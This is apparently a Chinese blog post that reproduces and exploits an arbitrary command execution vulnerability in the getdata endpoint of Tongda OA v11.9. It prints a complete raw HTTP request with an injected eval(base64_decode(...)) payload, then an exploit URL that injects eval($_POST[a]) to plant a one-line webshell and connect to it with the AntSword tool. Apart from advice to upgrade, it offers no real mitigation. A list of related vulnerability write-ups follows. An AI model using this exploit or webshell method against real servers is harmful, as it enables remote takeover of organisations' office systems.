通达OA v11.9 getdata任意命令执行漏洞复现+利用
1、产品简介
通达OA(Office Anywhere网络智能办公系统)是由北京通达信科科技有限公司自主研发的协同办公自动化软件,是与中国企业管理实践相结合形成的综合管理办公平台。包括流程审批、行政办公、日常事务、数据统计分析、即时通讯、移动办公等,帮助广大用户降低沟通和管理成本,提升生产和决策效率。
2、漏洞概述
通达OA v11.9 getdata接口存在任意命令执行漏洞,攻击者通过漏洞可以执行服务器任意命令控制服务器权限。
3、影响范围
通达OA <= v11.9
4、复现环境
Windows Server 2019搭建 通达OA v11.9 环境
安装包下载地址:https://cdndown.tongda2000.com/oa/2019/TDOA11.9.exe
下载后直接双击进行安装,然后设置访问地址和端口就安装好了
5、漏洞复现
访问漏洞环境,burp抓包发送Repeater模块进行复现
POC
GET /general/appbuilder/web/portal/gateway/getdata?activeTab=%E5%27%19,1%3D%3Eeval(base64_decode(%22[base64加密的命令]%22)))%3B/*&id=19&module=Carouselimage HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/111.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: PHPSESSID=6nfieutt27f4d98vvp5029a472; KEY_RANDOMDATA=17755
Upgrade-Insecure-Requests: 1
这里直接让他输出一个字符串 示例:echo test111111111111;
成功输出
6、漏洞利用
构造exp
http://x.x.x.x:x/general/appbuilder/web/portal/gateway/getdata?activeTab=%E5%27%19,1%3D%3Eeval($_POST[a]))%3B/*&id=19&module=Carouselimage
直接编写一句话马子 使用中国蚁剑进行连接
7、漏洞修复
升级至安全版本。
通达OA v11.9 getdata任意命令执行漏洞复现+利用相关推荐
- 【漏洞复现】通达OA v11.7 在线任意用户登录漏洞
0x00 前言 通达OA V11.7版本存在这任意用户登录漏洞,该漏洞需要管理员在线才可以登录系统,另外一个方面就是编译在线的uid值进行判断. 具体fofa语法放在下面: app="TDX ...
- FastJson1.2.24反序列化导致任意命令执行漏洞复现(CVE-2017-18349)
#FastJson1.2.24反序列化导致任意命令执行漏洞(CVE-2017-18349)# 一.漏洞简介 Pippo是一款基于Java的Web框架.FastjsonEngine是其中的一个JSON处 ...
- php打开网页执行即执行bat程序_CVE202011107:XAMPP任意命令执行漏洞复现
0x00简介 XAMPP是一个把Apache网页服务器与PHP.Perl及MariaDB集合在一起的安裝包,允许用戶可以在自己的电脑上轻易的建立网页服务器.该软件与phpstudy类似. 2020年4 ...
- fastjson 1.2.24 反序列化导致任意命令执行漏洞复现
前言 fastjson是阿里巴巴的开源JSON解析库,它可以解析JSON格式的字符串,的作用就是把java对象转换为json形式,也可 以用来将json转换为java对象. fastjson在解析js ...
- python直接执行代码漏洞_修复Python任意命令执行漏洞
Author:JoyChou@美丽联合安全 Date:20180605 1. 前言 今天遇到一个不好做白名单的Python命令执行漏洞修复的问题.由于是shell=True导致的任意命令执行,一开始大 ...
- couchdb 任意命令执行漏洞(cve-2017-12636)
Apache CouchDB是一个开源数据库,专注于易用性和成为"完全拥抱web的数据库".它是一个使用JSON作为存储格式,JavaScript作为查询语言,MapReduce和 ...
- 漏洞payload 靶机_学生会私房菜【20200707期】Wordpress 4.6 任意命令执行漏洞
学生会私房菜 学生会私房菜是通过学生会信箱收集同学们的来稿,挑选其中的优质文档,不定期进行文档推送的主题. 本期文档内容为:<Wordpress 4.6 任意命令执行漏洞> 作者介绍:AT ...
- eyoucms 1.5.5任意命令执行漏洞(0day)
eyoucms 1.5.5任意命令执行漏洞 文章目录 eyoucms 1.5.5任意命令执行漏洞 一.漏洞简介 二.漏洞影响 三.复现过程 漏洞位置 漏洞分析 漏洞利用 一.漏洞简介 eyoucms1 ...
- wordpress 4.6任意命令执行漏洞(PwnScriptum)复现
今天继续给大家介绍渗透测试相关知识,本文主要内容是wordpress 4.6任意命令执行漏洞(PwnScriptum)复现. 免责声明: 本文所介绍的内容仅做学习交流使用,严禁利用文中技术进行非法行为 ...
最新文章
- 神经网络结构设计 不一定是第一层神经元是输入维度数
- shp文件导入数据库
- 5种IO模式形象的比喻
- linux为什么要交换内存,Linux系统中交换内存是什么?
- c语言程序设计实践课选题,c语言程序设计实践实验题目
- 小白视角来看传说中的卷积神经网络
- Trick(四)——翻转字符串的实现
- 企业信息化投入中咨询服务_嘉萱企业管理咨询服务 让发展中的企业真正实现全面性效益增长...
- 思科下一代模拟器EVE-NG做一个不同VLAN互通实验
- 2021年卡信乐卡盟源码程序
- 空手套白狼,硬阅java字节码class文件
- safari调试工具h5手机_iOS通过safari真机调试H5页面
- 14种常用的异常检测方法总结
- android渠道编号,Android 不同渠道差异代码
- 量子计算机生命,量子计算机上量子人工生命模型 - 酷酷UFO
- 短信聊天软件需求征集
- Learn UML with JUDE
- vue keyup不起作用
- Application received signal SIGSEGV
- 心理学相关学习备忘录
热门文章
- 2023年专升本计算机考试试题及答案(练习4)
- 思科ccna认证工程师NETCONF协议详解网工必看
- KeilC STM32添加.c .h文件的方法
- linux高危漏洞怎么处理,Struts2高危漏洞解决方案一览
- 树莓派-改造插线板,支持手机平板控制开关
- 沙龙总结:教育应用开发供需不平衡 专业人才缺乏
- 迟滞比较器原理及计算
- 华为p8升级android8系统资源,这些华为手机都可升Android8.0,告诉你必须升EMUI8.0的3个理由...
- TestBird果伦——10年主策讲述他的游戏人生
- 2017TEI环太湖电子竞技邀请赛已于日前正式荣誉开战!